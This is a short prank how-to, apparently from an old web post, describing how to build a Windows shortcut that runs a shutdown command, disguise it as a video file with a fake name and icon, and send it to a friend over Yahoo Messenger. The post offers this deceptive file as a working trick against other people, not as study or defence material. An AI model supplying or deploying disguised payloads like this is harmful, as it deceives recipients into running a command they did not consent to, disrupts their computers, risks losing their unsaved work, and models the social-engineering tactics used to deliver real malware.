this is a prank you can play on your friends that use yahoo messanger
1. right click the desktop
2. go to "new" and select shortcut.
3. type in: shutdown /s /t:30
4. name it "worlds funniest video"
5. right click it and select properties.
6. click "change icon" and select a video like icon
7. get into a conversation with a friend and talk about the video
8. drag the shortcut into the typing bar
9. when they log out their computer has turned off
this will work with anything that allows you to send files. do not do in batch file format because the program wont accept it. be careful not to open it, because your computer will turn off.